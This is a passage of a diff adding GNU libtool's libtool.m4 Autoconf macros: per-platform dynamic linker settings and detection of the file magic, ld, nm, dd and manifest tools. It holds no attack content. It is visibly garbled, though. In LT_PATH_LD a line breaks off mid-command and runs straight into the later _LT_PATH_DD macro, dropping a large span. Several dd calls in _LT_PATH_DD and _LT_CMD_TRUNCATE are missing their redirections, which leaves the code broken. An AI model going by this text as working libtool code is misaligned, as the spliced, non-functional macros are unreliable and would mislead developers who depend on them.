/etc/ld.so.conf | $SED -e 's/#.*//;/^[ ]*hwcap[ ]/d;s/[:, ]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;s/"//g;/^$/d' | tr '\n' ' '` + sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra" + fi + + # We used to test for /lib/ld.so.1 and disable shared libraries on + # powerpc, because MkLinux only supported shared libraries with the + # GNU dynamic linker. Since this was broken with cross compilers, + # most powerpc-linux boxes support dynamic linking these days and + # people can always --disable-shared, the test was removed, and we + # assume the GNU/Linux dynamic linker is in use. + dynamic_linker='GNU/Linux ld.so' + ;; + +netbsd*) + version_type=sunos + need_lib_prefix=no + need_version=no + if echo __ELF__ | $CC -E - | $GREP __ELF__ >/dev/null; then + library_names_spec='$libname$release$shared_ext$versuffix $libname$shared_ext$versuffix' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir' + dynamic_linker='NetBSD (a.out) ld.so' + else + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + soname_spec='$libname$release$shared_ext$major' + dynamic_linker='NetBSD ld.elf_so' + fi + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + ;; + +newsos6) + version_type=linux # correct to gnu/linux during the next big refactor + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + ;; + +*nto* | *qnx*) + version_type=qnx + need_lib_prefix=no + need_version=no + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + soname_spec='$libname$release$shared_ext$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + dynamic_linker='ldqnx.so' + ;; + +openbsd* | bitrig*) + version_type=sunos + sys_lib_dlsearch_path_spec=/usr/lib + need_lib_prefix=no + if test -z "`echo __ELF__ | $CC -E - | $GREP __ELF__`"; then + need_version=no + else + need_version=yes + fi + library_names_spec='$libname$release$shared_ext$versuffix $libname$shared_ext$versuffix' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + ;; + +os2*) + libname_spec='$name' + version_type=windows + shrext_cmds=.dll + need_version=no + need_lib_prefix=no + # OS/2 can only load a DLL with a base name of 8 characters or less. + soname_spec='`test -n "$os2dllname" && libname="$os2dllname"; + v=$($ECHO $release$versuffix | tr -d .-); + n=$($ECHO $libname | cut -b -$((8 - ${#v})) | tr . _); + $ECHO $n$v`$shared_ext' + library_names_spec='${libname}_dll.$libext' + dynamic_linker='OS/2 ld.exe' + shlibpath_var=BEGINLIBPATH + sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib" + sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec + postinstall_cmds='base_file=`basename \$file`~ + dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\$base_file'\''i; $ECHO \$dlname'\''`~ + dldir=$destdir/`dirname \$dlpath`~ + test -d \$dldir || mkdir -p \$dldir~ + $install_prog $dir/$dlname \$dldir/$dlname~ + chmod a+x \$dldir/$dlname~ + if test -n '\''$stripme'\'' && test -n '\''$striplib'\''; then + eval '\''$striplib \$dldir/$dlname'\'' || exit \$?; + fi' + postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; $ECHO \$dlname'\''`~ + dlpath=$dir/\$dldll~ + $RM \$dlpath' + ;; + +osf3* | osf4* | osf5*) + version_type=osf + need_lib_prefix=no + need_version=no + soname_spec='$libname$release$shared_ext$major' + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + shlibpath_var=LD_LIBRARY_PATH + sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib" + sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec + ;; + +rdos*) + dynamic_linker=no + ;; + +solaris*) + version_type=linux # correct to gnu/linux during the next big refactor + need_lib_prefix=no + need_version=no + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + soname_spec='$libname$release$shared_ext$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + # ldd complains unless libraries are executable + postinstall_cmds='chmod +x $lib' + ;; + +sunos4*) + version_type=sunos + library_names_spec='$libname$release$shared_ext$versuffix $libname$shared_ext$versuffix' + finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + if test yes = "$with_gnu_ld"; then + need_lib_prefix=no + fi + need_version=yes + ;; + +sysv4 | sysv4.3*) + version_type=linux # correct to gnu/linux during the next big refactor + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + soname_spec='$libname$release$shared_ext$major' + shlibpath_var=LD_LIBRARY_PATH + case $host_vendor in + sni) + shlibpath_overrides_runpath=no + need_lib_prefix=no + runpath_var=LD_RUN_PATH + ;; + siemens) + need_lib_prefix=no + ;; + motorola) + need_lib_prefix=no + need_version=no + shlibpath_overrides_runpath=no + sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib' + ;; + esac + ;; + +sysv4*MP*) + if test -d /usr/nec; then + version_type=linux # correct to gnu/linux during the next big refactor + library_names_spec='$libname$shared_ext.$versuffix $libname$shared_ext.$major $libname$shared_ext' + soname_spec='$libname$shared_ext.$major' + shlibpath_var=LD_LIBRARY_PATH + fi + ;; + +sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*) + version_type=sco + need_lib_prefix=no + need_version=no + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext $libname$shared_ext' + soname_spec='$libname$release$shared_ext$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + if test yes = "$with_gnu_ld"; then + sys_lib_search_path_spec='/usr/local/lib /usr/gnu/lib /usr/ccs/lib /usr/lib /lib' + else + sys_lib_search_path_spec='/usr/ccs/lib /usr/lib' + case $host_os in + sco3.2v5*) + sys_lib_search_path_spec="$sys_lib_search_path_spec /lib" + ;; + esac + fi + sys_lib_dlsearch_path_spec='/usr/lib' + ;; + +tpf*) + # TPF is a cross-target only. Preferred cross-host = GNU/Linux. + version_type=linux # correct to gnu/linux during the next big refactor + need_lib_prefix=no + need_version=no + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + ;; + +uts4*) + version_type=linux # correct to gnu/linux during the next big refactor + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + soname_spec='$libname$release$shared_ext$major' + shlibpath_var=LD_LIBRARY_PATH + ;; + +*) + dynamic_linker=no + ;; +esac +AC_MSG_RESULT([$dynamic_linker]) +test no = "$dynamic_linker" && can_build_shared=no + +variables_saved_for_relink="PATH $shlibpath_var $runpath_var" +if test yes = "$GCC"; then + variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH" +fi + +if test set = "${lt_cv_sys_lib_search_path_spec+set}"; then + sys_lib_search_path_spec=$lt_cv_sys_lib_search_path_spec +fi + +if test set = "${lt_cv_sys_lib_dlsearch_path_spec+set}"; then + sys_lib_dlsearch_path_spec=$lt_cv_sys_lib_dlsearch_path_spec +fi + +# remember unaugmented sys_lib_dlsearch_path content for libtool script decls... +configure_time_dlsearch_path=$sys_lib_dlsearch_path_spec + +# ... but it needs LT_SYS_LIBRARY_PATH munging for other configure-time code +func_munge_path_list sys_lib_dlsearch_path_spec "$LT_SYS_LIBRARY_PATH" + +# to be used as default LT_SYS_LIBRARY_PATH value in generated libtool +configure_time_lt_sys_library_path=$LT_SYS_LIBRARY_PATH + +_LT_DECL([], [variables_saved_for_relink], [1], + [Variables whose values should be saved in libtool wrapper scripts and + restored at link time]) +_LT_DECL([], [need_lib_prefix], [0], + [Do we need the "lib" prefix for modules?]) +_LT_DECL([], [need_version], [0], [Do we need a version for libraries?]) +_LT_DECL([], [version_type], [0], [Library versioning type]) +_LT_DECL([], [runpath_var], [0], [Shared library runtime path variable]) +_LT_DECL([], [shlibpath_var], [0],[Shared library path variable]) +_LT_DECL([], [shlibpath_overrides_runpath], [0], + [Is shlibpath searched before the hard-coded library search path?]) +_LT_DECL([], [libname_spec], [1], [Format of library name prefix]) +_LT_DECL([], [library_names_spec], [1], + [[List of archive names. First name is the real one, the rest are links. + The last name is the one that the linker finds with -lNAME]]) +_LT_DECL([], [soname_spec], [1], + [[The coded name of the library, if different from the real name]]) +_LT_DECL([], [install_override_mode], [1], + [Permission mode override for installation of shared libraries]) +_LT_DECL([], [postinstall_cmds], [2], + [Command to use after installation of a shared archive]) +_LT_DECL([], [postuninstall_cmds], [2], + [Command to use after uninstallation of a shared archive]) +_LT_DECL([], [finish_cmds], [2], + [Commands used to finish a libtool library installation in a directory]) +_LT_DECL([], [finish_eval], [1], + [[As "finish_cmds", except a single script fragment to be evaled but + not shown]]) +_LT_DECL([], [hardcode_into_libs], [0], + [Whether we should hardcode library paths into libraries]) +_LT_DECL([], [sys_lib_search_path_spec], [2], + [Compile-time system search path for libraries]) +_LT_DECL([sys_lib_dlsearch_path_spec], [configure_time_dlsearch_path], [2], + [Detected run-time system search path for libraries]) +_LT_DECL([], [configure_time_lt_sys_library_path], [2], + [Explicit LT_SYS_LIBRARY_PATH set during ./configure time]) +])# _LT_SYS_DYNAMIC_LINKER + + +# _LT_PATH_TOOL_PREFIX(TOOL) +# -------------------------- +# find a file program that can recognize shared library +AC_DEFUN([_LT_PATH_TOOL_PREFIX], +[m4_require([_LT_DECL_EGREP])dnl +AC_MSG_CHECKING([for $1]) +AC_CACHE_VAL(lt_cv_path_MAGIC_CMD, +[case $MAGIC_CMD in +[[\\/*] | ?:[\\/]*]) + lt_cv_path_MAGIC_CMD=$MAGIC_CMD # Let the user override the test with a path. + ;; +*) + lt_save_MAGIC_CMD=$MAGIC_CMD + lt_save_ifs=$IFS; IFS=$PATH_SEPARATOR +dnl $ac_dummy forces splitting on constant user-supplied paths. +dnl POSIX.2 word splitting is done only on the output of word expansions, +dnl not every word. This closes a longstanding sh security hole. + ac_dummy="m4_if([$2], , $PATH, [$2])" + for ac_dir in $ac_dummy; do + IFS=$lt_save_ifs + test -z "$ac_dir" && ac_dir=. + if test -f "$ac_dir/$1"; then + lt_cv_path_MAGIC_CMD=$ac_dir/"$1" + if test -n "$file_magic_test_file"; then + case $deplibs_check_method in + "file_magic "*) + file_magic_regex=`expr "$deplibs_check_method" : "file_magic \(.*\)"` + MAGIC_CMD=$lt_cv_path_MAGIC_CMD + if eval $file_magic_cmd \$file_magic_test_file 2> /dev/null | + $EGREP "$file_magic_regex" > /dev/null; then + : + else + cat <<_LT_EOF 1>&2 + +*** Warning: the command libtool uses to detect shared libraries, +*** $file_magic_cmd, produces output that libtool cannot recognize. +*** The result is that libtool may fail to recognize shared libraries +*** as such. This will affect the creation of libtool libraries that +*** depend on shared libraries, but programs linked with such libtool +*** libraries will work regardless of this problem. Nevertheless, you +*** may want to report the problem to your system manager and/or to +*** bug-libtool@gnu.org + +_LT_EOF + fi ;; + esac + fi + break + fi + done + IFS=$lt_save_ifs + MAGIC_CMD=$lt_save_MAGIC_CMD + ;; +esac]) +MAGIC_CMD=$lt_cv_path_MAGIC_CMD +if test -n "$MAGIC_CMD"; then + AC_MSG_RESULT($MAGIC_CMD) +else + AC_MSG_RESULT(no) +fi +_LT_DECL([], [MAGIC_CMD], [0], + [Used to examine libraries when file_magic_cmd begins with "file"])dnl +])# _LT_PATH_TOOL_PREFIX + +# Old name: +AU_ALIAS([AC_PATH_TOOL_PREFIX], [_LT_PATH_TOOL_PREFIX]) +dnl aclocal-1.4 backwards compatibility: +dnl AC_DEFUN([AC_PATH_TOOL_PREFIX], []) + + +# _LT_PATH_MAGIC +# -------------- +# find a file program that can recognize a shared library +m4_defun([_LT_PATH_MAGIC], +[_LT_PATH_TOOL_PREFIX(${ac_tool_prefix}file, /usr/bin$PATH_SEPARATOR$PATH) +if test -z "$lt_cv_path_MAGIC_CMD"; then + if test -n "$ac_tool_prefix"; then + _LT_PATH_TOOL_PREFIX(file, /usr/bin$PATH_SEPARATOR$PATH) + else + MAGIC_CMD=: + fi +fi +])# _LT_PATH_MAGIC + + +# LT_PATH_LD +# ---------- +# find the pathname to the GNU or non-GNU linker +AC_DEFUN([LT_PATH_LD], +[AC_REQUIRE([AC_PROG_CC])dnl +AC_REQUIRE([AC_CANONICAL_HOST])dnl +AC_REQUIRE([AC_CANONICAL_BUILD])dnl +m4_require([_LT_DECL_SED])dnl +m4_require([_LT_DECL_EGREP])dnl +m4_require([_LT_PROG_ECHO_BACKSLASH])dnl + +AC_ARG_WITH([gnu-ld], + [AS_HELP_STRING([--with-gnu-ld], + [assume the C compiler uses GNU ld @<:@default=no@:>@])], + [test no = "$withval" || with_gnu_ld=yes], + [with_gnu_ld=no])dnl + +ac_prog=ld +if test yes = "$GCC"; then + # Check if gcc -print-prog-name=ld gives a path. + AC_MSG_CHECKING([for ld used by $CC]) + case $host in + *-*-mingw*) + # gcc leaves a trailing carriage return, which upsets mingw + ac_prog=`($CC -print-prog-name=ld) 2>&5 | tr -d '\015'` ;; + *) + ac_prog=`($CC -print-prog-name=ld) 2>&5` ;; + esac + case $ac_prog in + # Accept absolute paths. + [[\\/]]* | ?:[[\\/]]*) + re_direlt='/[[^/]][[^/]]*/\.\./' + # Canonicalize the pathname of ld + ac_prog=`$ECHO "$ac_prog"| $SED 's%\\\\%/%g'` + while $ECHO "$ac_prog" | $GREP "$re_direlt" > /dev/null 2>&1; do + ac_prog=`$ECHO $ac_prog| $SED "s%$re_direlt%/%"` + done + test -z "$LD" && LD=$ac_prog + ;; + "") + # If it fails, then pretend we aren't using GCC. + ac_prog=ld + ;; + *) + # If it is relative, then search for the first ld in PATH. + with_gnu_ld=unknown + ;; + esac +elif test yes = "$with_gnu_ld"; then + AC_MSG_CHECKING([for GNU ld]) +else + AC_MSG_CHECKING([for non-GNU ld]) +fi +AC_CACHE_VAL(lt_cv_path_LD, +[if test -z "$LD"; then + lt_save_ifs=$IFS; IFS=$PATH_SEPARATOR + for ac_dir in $PATH; do + IFS=$lt_save_ifs + test -z "$ac_dir" && ac_dir=. + if test -f "$ac_dir/$ac_prog" || test -f "$ac_dir/$ac_prog$ac_exeext"; then + lt_cv_path_LD=$ac_dir/$ac_prog + # Check to see if the program is GNU ld. I'd rather use --version, + # but apparently some variants of GNU ld only accept -v. + # Break only if it was the GNU/non-GNU ld that we prefer. + case `"$lt_cv_path_LD" -v 2>&1 &1 conftest.i +cat conftest.i conftest.i >conftest2.i +: ${lt_DD:=$DD} +AC_PATH_PROGS_FEATURE_CHECK([lt_DD], [dd], +[if "$ac_path_lt_DD" bs=32 count=1 conftest.out 2>/dev/null; then + cmp -s conftest.i conftest.out \ + && ac_cv_path_lt_DD="$ac_path_lt_DD" ac_path_lt_DD_found=: +fi]) +rm -f conftest.i conftest2.i conftest.out]) +])# _LT_PATH_DD + + +# _LT_CMD_TRUNCATE +# ---------------- +# find command to truncate a binary pipe +m4_defun([_LT_CMD_TRUNCATE], +[m4_require([_LT_PATH_DD]) +AC_CACHE_CHECK([how to truncate binary pipes], [lt_cv_truncate_bin], +[printf 0123456789abcdef0123456789abcdef >conftest.i +cat conftest.i conftest.i >conftest2.i +lt_cv_truncate_bin= +if "$ac_cv_path_lt_DD" bs=32 count=1 conftest.out 2>/dev/null; then + cmp -s conftest.i conftest.out \ + && lt_cv_truncate_bin="$ac_cv_path_lt_DD bs=4096 count=1" +fi +rm -f conftest.i conftest2.i conftest.out +test -z "$lt_cv_truncate_bin" && lt_cv_truncate_bin="$SED -e 4q"]) +_LT_DECL([lt_truncate_bin], [lt_cv_truncate_bin], [1], + [Command to truncate a binary pipe]) +])# _LT_CMD_TRUNCATE + + +# _LT_CHECK_MAGIC_METHOD +# ---------------------- +# how to check for library dependencies +# -- PORTME fill in with the dynamic library characteristics +m4_defun([_LT_CHECK_MAGIC_METHOD], +[m4_require([_LT_DECL_EGREP]) +m4_require([_LT_DECL_OBJDUMP]) +AC_CACHE_CHECK([how to recognize dependent libraries], +lt_cv_deplibs_check_method, +[lt_cv_file_magic_cmd='$MAGIC_CMD' +lt_cv_file_magic_test_file= +lt_cv_deplibs_check_method='unknown' +# Need to set the preceding variable on all platforms that support +# interlibrary dependencies. +# 'none' -- dependencies not supported. +# 'unknown' -- same as none, but documents that we really don't know. +# 'pass_all' -- all dependencies passed with no checks. +# 'test_compile' -- check by making test program. +# 'file_magic [[regex]]' -- check by looking for files in library path +# that responds to the $file_magic_cmd with a given extended regex. +# If you have 'file' or equivalent on your system and you're not sure +# whether 'pass_all' will *always* work, you probably want this one. + +case $host_os in +aix[[4-9]]*) + lt_cv_deplibs_check_method=pass_all + ;; + +beos*) + lt_cv_deplibs_check_method=pass_all + ;; + +bsdi[[45]]*) + lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[ML]]SB (shared object|dynamic lib)' + lt_cv_file_magic_cmd='$FILECMD -L' + lt_cv_file_magic_test_file=/shlib/libc.so + ;; + +cygwin*) + # func_win32_libid is a shell function defined in ltmain.sh + lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL' + lt_cv_file_magic_cmd='func_win32_libid' + ;; + +mingw* | pw32*) + # Base MSYS/MinGW do not provide the 'file' command needed by + # func_win32_libid shell function, so use a weaker test based on 'objdump', + # unless we find 'file', for example because we are cross-compiling. + if ( file / ) >/dev/null 2>&1; then + lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL' + lt_cv_file_magic_cmd='func_win32_libid' + else + # Keep this pattern in sync with the one in func_win32_libid. + lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)' + lt_cv_file_magic_cmd='$OBJDUMP -f' + fi + ;; + +cegcc*) + # use the weaker test based on 'objdump'. See mingw*. + lt_cv_deplibs_check_method='file_magic file format pe-arm-.*little(.*architecture: arm)?' + lt_cv_file_magic_cmd='$OBJDUMP -f' + ;; + +darwin* | rhapsody*) + lt_cv_deplibs_check_method=pass_all + ;; + +freebsd* | dragonfly* | midnightbsd*) + if echo __ELF__ | $CC -E - | $GREP __ELF__ > /dev/null; then + case $host_cpu in + i*86 ) + # Not sure whether the presence of OpenBSD here was a mistake. + # Let's accept both of them until this is cleared up. + lt_cv_deplibs_check_method='file_magic (FreeBSD|OpenBSD|DragonFly)/i[[3-9]]86 (compact )?demand paged shared library' + lt_cv_file_magic_cmd=$FILECMD + lt_cv_file_magic_test_file=`echo /usr/lib/libc.so.*` + ;; + esac + else + lt_cv_deplibs_check_method=pass_all + fi + ;; + +haiku*) + lt_cv_deplibs_check_method=pass_all + ;; + +hpux10.20* | hpux11*) + lt_cv_file_magic_cmd=$FILECMD + case $host_cpu in + ia64*) + lt_cv_deplibs_check_method='file_magic (s[[0-9]][[0-9]][[0-9]]|ELF-[[0-9]][[0-9]]) shared object file - IA64' + lt_cv_file_magic_test_file=/usr/lib/hpux32/libc.so + ;; + hppa*64*) + [lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|ELF[ -][0-9][0-9])(-bit)?( [LM]SB)? shared object( file)?[, -]* PA-RISC [0-9]\.[0-9]'] + lt_cv_file_magic_test_file=/usr/lib/pa20_64/libc.sl + ;; + *) + lt_cv_deplibs_check_method='file_magic (s[[0-9]][[0-9]][[0-9]]|PA-RISC[[0-9]]\.[[0-9]]) shared library' + lt_cv_file_magic_test_file=/usr/lib/libc.sl + ;; + esac + ;; + +interix[[3-9]]*) + # PIC code is broken on Interix 3.x, that's why |\.a not |_pic\.a here + lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so|\.a)$' + ;; + +irix5* | irix6* | nonstopux*) + case $LD in + *-32|*"-32 ") libmagic=32-bit;; + *-n32|*"-n32 ") libmagic=N32;; + *-64|*"-64 ") libmagic=64-bit;; + *) libmagic=never-match;; + esac + lt_cv_deplibs_check_method=pass_all + ;; + +# This must be glibc/ELF. +linux* | k*bsd*-gnu | kopensolaris*-gnu | gnu*) + lt_cv_deplibs_check_method=pass_all + ;; + +netbsd*) + if echo __ELF__ | $CC -E - | $GREP __ELF__ > /dev/null; then + lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so\.[[0-9]]+\.[[0-9]]+|_pic\.a)$' + else + lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so|_pic\.a)$' + fi + ;; + +newos6*) + lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[ML]]SB (executable|dynamic lib)' + lt_cv_file_magic_cmd=$FILECMD + lt_cv_file_magic_test_file=/usr/lib/libnls.so + ;; + +*nto* | *qnx*) + lt_cv_deplibs_check_method=pass_all + ;; + +openbsd* | bitrig*) + if test -z "`echo __ELF__ | $CC -E - | $GREP __ELF__`"; then + lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so\.[[0-9]]+\.[[0-9]]+|\.so|_pic\.a)$' + else + lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so\.[[0-9]]+\.[[0-9]]+|_pic\.a)$' + fi + ;; + +osf3* | osf4* | osf5*) + lt_cv_deplibs_check_method=pass_all + ;; + +rdos*) + lt_cv_deplibs_check_method=pass_all + ;; + +solaris*) + lt_cv_deplibs_check_method=pass_all + ;; + +sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*) + lt_cv_deplibs_check_method=pass_all + ;; + +sysv4 | sysv4.3*) + case $host_vendor in + motorola) + lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[ML]]SB (shared object|dynamic lib) M[[0-9]][[0-9]]* Version [[0-9]]' + lt_cv_file_magic_test_file=`echo /usr/lib/libc.so*` + ;; + ncr) + lt_cv_deplibs_check_method=pass_all + ;; + sequent) + lt_cv_file_magic_cmd='/bin/file' + lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[LM]]SB (shared object|dynamic lib )' + ;; + sni) + lt_cv_file_magic_cmd='/bin/file' + lt_cv_deplibs_check_method="file_magic ELF [[0-9]][[0-9]]*-bit [[LM]]SB dynamic lib" + lt_cv_file_magic_test_file=/lib/libc.so + ;; + siemens) + lt_cv_deplibs_check_method=pass_all + ;; + pc) + lt_cv_deplibs_check_method=pass_all + ;; + esac + ;; + +tpf*) + lt_cv_deplibs_check_method=pass_all + ;; +os2*) + lt_cv_deplibs_check_method=pass_all + ;; +esac +]) + +file_magic_glob= +want_nocaseglob=no +if test "$build" = "$host"; then + case $host_os in + mingw* | pw32*) + if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then + want_nocaseglob=yes + else + file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[[\1]]\/[[\1]]\/g;/g"` + fi + ;; + esac +fi + +file_magic_cmd=$lt_cv_file_magic_cmd +deplibs_check_method=$lt_cv_deplibs_check_method +test -z "$deplibs_check_method" && deplibs_check_method=unknown + +_LT_DECL([], [deplibs_check_method], [1], + [Method to check whether dependent libraries are shared objects]) +_LT_DECL([], [file_magic_cmd], [1], + [Command to use when deplibs_check_method = "file_magic"]) +_LT_DECL([], [file_magic_glob], [1], + [How to find potential files when deplibs_check_method = "file_magic"]) +_LT_DECL([], [want_nocaseglob], [1], + [Find potential files using nocaseglob when deplibs_check_method = "file_magic"]) +])# _LT_CHECK_MAGIC_METHOD + + +# LT_PATH_NM +# ---------- +# find the pathname to a BSD- or MS-compatible name lister +AC_DEFUN([LT_PATH_NM], +[AC_REQUIRE([AC_PROG_CC])dnl +AC_CACHE_CHECK([for BSD- or MS-compatible name lister (nm)], lt_cv_path_NM, +[if test -n "$NM"; then + # Let the user override the test. + lt_cv_path_NM=$NM +else + lt_nm_to_check=${ac_tool_prefix}nm + if test -n "$ac_tool_prefix" && test "$build" = "$host"; then + lt_nm_to_check="$lt_nm_to_check nm" + fi + for lt_tmp_nm in $lt_nm_to_check; do + lt_save_ifs=$IFS; IFS=$PATH_SEPARATOR + for ac_dir in $PATH /usr/ccs/bin/elf /usr/ccs/bin /usr/ucb /bin; do + IFS=$lt_save_ifs + test -z "$ac_dir" && ac_dir=. + tmp_nm=$ac_dir/$lt_tmp_nm + if test -f "$tmp_nm" || test -f "$tmp_nm$ac_exeext"; then + # Check to see if the nm accepts a BSD-compat flag. + # Adding the 'sed 1q' prevents false positives on HP-UX, which says: + # nm: unknown option "B" ignored + # Tru64's nm complains that /dev/null is an invalid object file + # MSYS converts /dev/null to NUL, MinGW nm treats NUL as empty + case $build_os in + mingw*) lt_bad_file=conftest.nm/nofile ;; + *) lt_bad_file=/dev/null ;; + esac + case `"$tmp_nm" -B $lt_bad_file 2>&1 | $SED '1q'` in + *$lt_bad_file* | *'Invalid file or object type'*) + lt_cv_path_NM="$tmp_nm -B" + break 2 + ;; + *) + case `"$tmp_nm" -p /dev/null 2>&1 | $SED '1q'` in + */dev/null*) + lt_cv_path_NM="$tmp_nm -p" + break 2 + ;; + *) + lt_cv_path_NM=${lt_cv_path_NM="$tmp_nm"} # keep the first match, but + continue # so that we can try to find one that supports BSD flags + ;; + esac + ;; + esac + fi + done + IFS=$lt_save_ifs + done + : ${lt_cv_path_NM=no} +fi]) +if test no != "$lt_cv_path_NM"; then + NM=$lt_cv_path_NM +else + # Didn't find any BSD compatible name lister, look for dumpbin. + if test -n "$DUMPBIN"; then : + # Let the user override the test. + else + AC_CHECK_TOOLS(DUMPBIN, [dumpbin "link -dump"], :) + case `$DUMPBIN -symbols -headers /dev/null 2>&1 | $SED '1q'` in + *COFF*) + DUMPBIN="$DUMPBIN -symbols -headers" + ;; + *) + DUMPBIN=: + ;; + esac + fi + AC_SUBST([DUMPBIN]) + if test : != "$DUMPBIN"; then + NM=$DUMPBIN + fi +fi +test -z "$NM" && NM=nm +AC_SUBST([NM]) +_LT_DECL([], [NM], [1], [A BSD- or MS-compatible name lister])dnl + +AC_CACHE_CHECK([the name lister ($NM) interface], [lt_cv_nm_interface], + [lt_cv_nm_interface="BSD nm" + echo "int some_variable = 0;" > conftest.$ac_ext + (eval echo "\"\$as_me:$LINENO: $ac_compile\"" >&AS_MESSAGE_LOG_FD) + (eval "$ac_compile" 2>conftest.err) + cat conftest.err >&AS_MESSAGE_LOG_FD + (eval echo "\"\$as_me:$LINENO: $NM \\\"conftest.$ac_objext\\\"\"" >&AS_MESSAGE_LOG_FD) + (eval "$NM \"conftest.$ac_objext\"" 2>conftest.err > conftest.out) + cat conftest.err >&AS_MESSAGE_LOG_FD + (eval echo "\"\$as_me:$LINENO: output\"" >&AS_MESSAGE_LOG_FD) + cat conftest.out >&AS_MESSAGE_LOG_FD + if $GREP 'External.*some_variable' conftest.out > /dev/null; then + lt_cv_nm_interface="MS dumpbin" + fi + rm -f conftest*]) +])# LT_PATH_NM + +# Old names: +AU_ALIAS([AM_PROG_NM], [LT_PATH_NM]) +AU_ALIAS([AC_PROG_NM], [LT_PATH_NM]) +dnl aclocal-1.4 backwards compatibility: +dnl AC_DEFUN([AM_PROG_NM], []) +dnl AC_DEFUN([AC_PROG_NM], []) + +# _LT_CHECK_SHAREDLIB_FROM_LINKLIB +# -------------------------------- +# how to determine the name of the shared library +# associated with a specific link library. +# -- PORTME fill in with the dynamic library characteristics +m4_defun([_LT_CHECK_SHAREDLIB_FROM_LINKLIB], +[m4_require([_LT_DECL_EGREP]) +m4_require([_LT_DECL_OBJDUMP]) +m4_require([_LT_DECL_DLLTOOL]) +AC_CACHE_CHECK([how to associate runtime and link libraries], +lt_cv_sharedlib_from_linklib_cmd, +[lt_cv_sharedlib_from_linklib_cmd='unknown' + +case $host_os in +cygwin* | mingw* | pw32* | cegcc*) + # two different shell functions defined in ltmain.sh; + # decide which one to use based on capabilities of $DLLTOOL + case `$DLLTOOL --help 2>&1` in + *--identify-strict*) + lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib + ;; + *) + lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback + ;; + esac + ;; +*) + # fallback: assume linklib IS sharedlib + lt_cv_sharedlib_from_linklib_cmd=$ECHO + ;; +esac +]) +sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd +test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO + +_LT_DECL([], [sharedlib_from_linklib_cmd], [1], + [Command to associate shared and link libraries]) +])# _LT_CHECK_SHAREDLIB_FROM_LINKLIB + + +# _LT_PATH_MANIFEST_TOOL +# ---------------------- +# locate the manifest tool +m4_defun([_LT_PATH_MANIFEST_TOOL], +[AC_CHECK_TOOL(MANIFEST_TOOL, mt, :) +test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt +AC_CACHE_CHECK([if $MANIFEST_TOOL is a manifest tool], [lt_cv_path_mainfest_tool], + [lt_cv_path_mainfest_tool=no + echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&AS_MESSAGE_LOG_FD + $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out + cat conftest.err >&AS_MESSAGE_LOG_FD + if $GREP 'Manifest Tool' conftest.out > /dev/null; then + 